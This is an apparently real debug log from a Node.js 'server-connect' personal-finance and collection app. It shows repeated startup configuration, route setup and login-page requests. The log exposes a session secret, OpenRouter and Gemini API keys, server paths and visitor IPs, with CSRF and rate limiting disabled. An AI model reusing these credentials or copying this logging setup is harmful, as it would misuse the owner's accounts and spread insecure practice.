2026-06-05T02:00:02.601Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T02:00:02.601Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T02:00:02.601Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T02:00:02.601Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T02:00:02.601Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T02:00:02.602Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T02:00:02.602Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T02:00:02.602Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T02:00:02.602Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T02:00:02.602Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T02:00:02.710Z server-connect:router Serving templateView /
2026-06-05T02:00:02.715Z server-connect:app Executing action step identify
2026-06-05T02:00:02.715Z server-connect:app options: { provider: 'security' }
2026-06-05T02:00:02.716Z server-connect:auth No login cookie found
2026-06-05T02:00:02.716Z server-connect:output identity: false
2026-06-05T02:00:02.716Z server-connect:app Executing action step restrict
2026-06-05T02:00:02.717Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-05T02:00:02.721Z server-connect:output restrict: undefined
2026-06-05T02:00:24.645Z server-connect:router Serving templateView /
2026-06-05T02:00:24.646Z server-connect:app Executing action step identify
2026-06-05T02:00:24.646Z server-connect:app options: { provider: 'security' }
2026-06-05T02:00:24.646Z server-connect:auth No login cookie found
2026-06-05T02:00:24.646Z server-connect:output identity: false
2026-06-05T02:00:24.646Z server-connect:app Executing action step restrict
2026-06-05T02:00:24.646Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-05T02:00:24.647Z server-connect:output restrict: undefined
2026-06-05T02:00:53.535Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T02:00:53.699Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T02:00:53.778Z server-connect:setup:upload Upload middleware configured.
2026-06-05T02:00:53.778Z server-connect:secure CSRF Protection initialized
2026-06-05T02:00:53.780Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T02:00:53.781Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T02:00:53.782Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T02:00:53.782Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T02:00:53.783Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T02:00:53.784Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T02:00:53.784Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T02:00:53.785Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T02:00:53.788Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T02:00:53.788Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T02:00:53.788Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T02:00:53.789Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T02:00:53.789Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T02:00:53.789Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T02:00:53.789Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T02:00:53.790Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T02:00:53.790Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T02:00:53.790Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T02:00:53.791Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T02:00:53.791Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T02:00:53.791Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T02:00:53.792Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T02:00:53.792Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T02:00:53.792Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T02:00:53.792Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T02:00:53.792Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T02:00:53.793Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T02:00:53.793Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T02:00:53.793Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T02:00:53.793Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T02:00:53.793Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T02:00:53.794Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T02:00:53.794Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T02:00:53.794Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T02:00:53.794Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T02:00:53.794Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T02:00:53.795Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T02:00:53.795Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T02:00:53.895Z server-connect:router Serving templateView /
2026-06-05T02:00:53.899Z server-connect:app Executing action step identify
2026-06-05T02:00:53.899Z server-connect:app options: { provider: 'security' }
2026-06-05T02:00:53.900Z server-connect:auth No login cookie found
2026-06-05T02:00:53.901Z server-connect:output identity: false
2026-06-05T02:00:53.901Z server-connect:app Executing action step restrict
2026-06-05T02:00:53.901Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-05T02:00:53.905Z server-connect:output restrict: undefined
2026-06-05T02:02:23.393Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T02:02:23.547Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T02:02:23.632Z server-connect:setup:upload Upload middleware configured.
2026-06-05T02:02:23.633Z server-connect:secure CSRF Protection initialized
2026-06-05T02:02:23.635Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T02:02:23.635Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T02:02:23.635Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T02:02:23.637Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T02:02:23.638Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T02:02:23.638Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T02:02:23.639Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T02:02:23.640Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T02:02:23.640Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T02:02:23.643Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T02:02:23.643Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T02:02:23.643Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T02:02:23.644Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T02:02:23.644Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T02:02:23.644Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T02:02:23.645Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T02:02:23.645Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T02:02:23.645Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T02:02:23.646Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T02:02:23.646Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T02:02:23.646Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T02:02:23.647Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T02:02:23.647Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T02:02:23.647Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T02:02:23.647Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T02:02:23.648Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T02:02:23.648Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T02:02:23.648Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T02:02:23.648Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T02:02:23.648Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T02:02:23.649Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T02:02:23.649Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T02:02:23.649Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T02:02:23.649Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T02:02:23.649Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T02:02:23.650Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T02:02:23.676Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T02:02:23.676Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T02:02:23.745Z server-connect:router Serving templateView /
2026-06-05T02:02:23.749Z server-connect:app Executing action step identify
2026-06-05T02:02:23.749Z server-connect:app options: { provider: 'security' }
2026-06-05T02:02:23.751Z server-connect:auth No login cookie found
2026-06-05T02:02:23.751Z server-connect:output identity: false
2026-06-05T02:02:23.751Z server-connect:app Executing action step restrict
2026-06-05T02:02:23.751Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-05T02:02:23.755Z server-connect:output restrict: undefined
2026-06-05T02:03:12.992Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T02:03:13.146Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T02:03:13.233Z server-connect:setup:upload Upload middleware configured.
2026-06-05T02:03:13.233Z server-connect:secure CSRF Protection initialized
2026-06-05T02:03:13.235Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T02:03:13.237Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T02:03:13.237Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T02:03:13.238Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T02:03:13.238Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T02:03:13.239Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T02:03:13.240Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T02:03:13.240Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T02:03:13.243Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T02:03:13.244Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T02:03:13.244Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T02:03:13.244Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T02:03:13.245Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T02:03:13.245Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T02:03:13.245Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T02:03:13.246Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T02:03:13.246Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T02:03:13.246Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T02:03:13.247Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T02:03:13.247Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T02:03:13.247Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T02:03:13.248Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T02:03:13.248Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T02:03:13.248Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T02:03:13.248Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T02:03:13.248Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T02:03:13.249Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T02:03:13.249Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T02:03:13.249Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T02:03:13.249Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T02:03:13.250Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T02:03:13.250Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T02:03:13.276Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T02:03:13.277Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T02:03:13.277Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T02:03:13.277Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T02:03:13.277Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T02:03:13.278Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T02:03:13.344Z server-connect:router Serving templateView /login
2026-06-05T02:03:13.348Z server-connect:app Executing action step identify
2026-06-05T02:03:13.348Z server-connect:app options: { provider: 'security' }
2026-06-05T02:03:13.350Z server-connect:auth No login cookie found
2026-06-05T02:03:13.350Z server-connect:output identity: false
2026-06-05T02:03:13.350Z server-connect:router Render template layouts/authentication
2026-06-05T02:03:13.351Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    xxxxxxxxxx: 'close',
    'user-agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '91.196.152.224',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-06T02:03:13.341Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.196.152.224',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_XXXXXXXXXX: 'close',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '91.196.152.224',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-05T02:03:16.111Z server-connect:router Serving templateView /login
2026-06-05T02:03:16.111Z server-connect:app Executing action step identify
2026-06-05T02:03:16.111Z server-connect:app options: { provider: 'security' }
2026-06-05T02:03:16.111Z server-connect:auth No login cookie found
2026-06-05T02:03:16.111Z server-connect:output identity: false
2026-06-05T02:03:16.111Z server-connect:router Render template layouts/authentication
2026-06-05T02:03:16.111Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    xxxxxxxxxx: 'close',
    'user-agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '91.196.152.147',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-06T02:03:16.109Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.196.152.147',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_XXXXXXXXXX: 'close',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '91.196.152.147',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-05T02:05:14.761Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T02:05:14.923Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T02:05:15.008Z server-connect:setup:upload Upload middleware configured.
2026-06-05T02:05:15.009Z server-connect:secure CSRF Protection initialized
2026-06-05T02:05:15.010Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T02:05:15.012Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T02:05:15.012Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T02:05:15.013Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T02:05:15.013Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T02:05:15.014Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T02:05:15.015Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T02:05:15.016Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T02:05:15.018Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T02:05:15.019Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T02:05:15.019Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T02:05:15.020Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T02:05:15.020Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T02:05:15.020Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T02:05:15.020Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T02:05:15.021Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T02:05:15.021Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T02:05:15.021Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T02:05:15.022Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T02:05:15.022Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T02:05:15.022Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T02:05:15.023Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T02:05:15.023Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T02:05:15.023Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T02:05:15.023Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T02:05:15.024Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T02:05:15.024Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T02:05:15.024Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T02:05:15.024Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T02:05:15.024Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T02:05:15.025Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T02:05:15.025Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T02:05:15.025Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T02:05:15.025Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T02:05:15.025Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T02:05:15.026Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T02:05:15.026Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T02:05:15.026Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T02:05:15.137Z server-connect:router Serving templateView /
2026-06-05T02:05:15.141Z server-connect:app Executing action step identify
2026-06-05T02:05:15.141Z server-connect:app options: { provider: 'security' }
2026-06-05T02:05:15.143Z server-connect:auth No login cookie found
2026-06-05T02:05:15.143Z server-connect:output identity: false
2026-06-05T02:05:15.143Z server-connect:app Executing action step restrict
